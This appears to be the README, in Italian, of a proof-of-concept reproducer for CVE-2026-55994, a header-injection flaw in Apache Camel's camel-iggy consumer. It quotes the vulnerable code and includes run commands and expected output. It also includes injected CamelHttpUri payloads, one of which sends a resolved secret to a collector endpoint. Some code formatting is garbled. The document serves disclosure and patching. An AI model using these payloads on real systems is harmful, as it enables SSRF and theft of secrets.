oscerd/cve-2026-55994
PoC reproducer per CVE-2026-55994 (Apache Camel camel-iggy): il consumer copia gli user-header di un messaggio Iggy sullo Exchange senza filtro, quindi un CamelHttpUri iniettato genera una richiesta lato server (SSRF) e fa trapelare i segnaposto di proprietà risolti. Corretto in 4.18.3/4.21.0.
Questo progetto dimostra un'iniezione di header dei messaggi nel componente camel-iggy di Apache Camel, tracciata come
CVE-2026-55994. Il consumer Iggy copia gli user-header di un messaggio in ingresso sullo scambio Camel
senza alcun HeaderFilterStrategy, quindi chiunque possa pubblicare sul topic Iggy consumato può iniettare
header di controllo Camel — in particolare CamelHttpUri:
// IggyFetchRecords.createExchange (versione 4.18.2 interessata) — user-header del messaggio Iggy -> header dello scambio, senza filtri
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
Quando la route collega questo consumer a un producer HTTP, un CamelHttpUri iniettato — server-side request forgery. Il producer camel-http chiama inoltre su
quell'URI controllato dall'attaccante, quindi un riferimento iniettato viene espanso al suo valore reale e inviato —
divulgando variabili d'ambiente, proprietà dell'applicazione o segreti del vault.
resolvePropertyPlaceholders(){{...}}Questa PoC dimostra l'impatto come SSRF più divulgazione di segreti (CWE-20 → CWE-918 + CWE-200). È uno dei tre
componenti correlati corretti insieme sotto CAMEL-23532 (con camel-vertx-websocket, CVE-2026-46726, e
camel-atmosphere-websocket, CVE-2026-55993).
| Proprietà | Valore |
|---|---|
| Componente | camel-iggy |
| Classe interessata | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (mappa gli user-header del messaggio agli header dello scambio senza alcun filtro) |
| CWE | CWE-20 (convalida impropria dell'input) → CWE-918 (SSRF) + CWE-200 (esposizione di informazioni) |
| Impatto | SSRF e divulgazione di segreti tramite risoluzione dei property placeholder sull'URI iniettato |
| Prerequisiti | Una route collega un consumer iggy: a un producer HTTP; l'attaccante può pubblicare sul topic consumato |
| Versioni interessate | Dalla 4.17.0 alla 4.18.3 esclusa, dalla 4.19.0 alla 4.21.0 esclusa (camel-iggy è stato introdotto nella 4.17.0) |
| Versioni corrette | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Crediti | Kamalpreet Singh |
La correzione applica un
HeaderFilterStrategyalla mappatura in ingresso, filtrando gli headerCamel*/camel*così che non possano più essere iniettati tramite gli user-header di un messaggio Iggy.
Il vulnerabile IggyFetchRecords.createExchange(...) viene eseguito invariato, su un messaggio Iggy falsificato i cui
user-header sono controllati dall'attaccante. Lo scambio risultante fluisce attraverso la route reale fino al producer
camel-http reale, quindi l'SSRF e la divulgazione del property placeholder {{...}} sono genuine.
Perché non viene usato un broker Iggy live. Il
doStartdel consumeriggy:apre una connessione a un server Iggy in esecuzione, quindi la route non può avviarsi senza uno — e il server Apache Iggy richiedeio_uring, che il profilo seccomp predefinito di Docker blocca (viene eseguito solo con--privileged), rendendolo inadatto a una PoC portabile e condivisibile. IlcreateExchangevulnerabile di per sé non richiede un broker, quindi il driver costruisce il veroIggyFetchRecordse lo invoca direttamente con il messaggio falsificato. La PoC gemella percamel-vertx-websocket(CVE-2026-46726) pilota il difetto identico attraverso un trasporto live.
In una distribuzione reale: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Qui la metà a valle è
from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), alimentata con lo scambio avvelenato
costruito dal vero createExchange.
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # singolo servizio autonomo
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # collegamento a valle -> http://localhost:8080/legit-backend
│ ├── SinkController.java # raccoglitore SSRF: /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # genera un messaggio Iggy + esegue il vero createExchange (inietta CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (divulgato tramite risoluzione dei placeholder)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Messaggio ordinario (user-header x-order-id=A-1001)
raggiunto /legit-backend: true
raggiunto /internal/secret: false
2) User-header iniettato 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
la richiesta lato server ha raggiunto /internal/secret: true
3) User-header iniettato 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (divulgazione di segreti)
il collettore dell'attaccante ha ricevuto la perdita = SUPER-SECRET-abc123
uguale al segreto reale dell'app: true
>>> SSRF=true, divulgazione-di-segreti=true
Aggiornare alla 4.18.3 / 4.21.0 (CAMEL-23532). Dopo l'aggiornamento, il consumer filtra gli header Camel* dagli
user-header del messaggio Iggy, quindi CamelHttpUri e altri header di controllo non possono più essere iniettati.
Fino all'aggiornamento, non collegare un consumer iggy: direttamente a un producer HTTP senza prima rimuovere gli header
di controllo Camel (ad esempio removeHeaders("CamelHttp*")), e impostare la destinazione del producer da una fonte
attendibile (oppure usare bridgeEndpoint=true).
Questo riproduttore è fornito esclusivamente per ricerca di sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.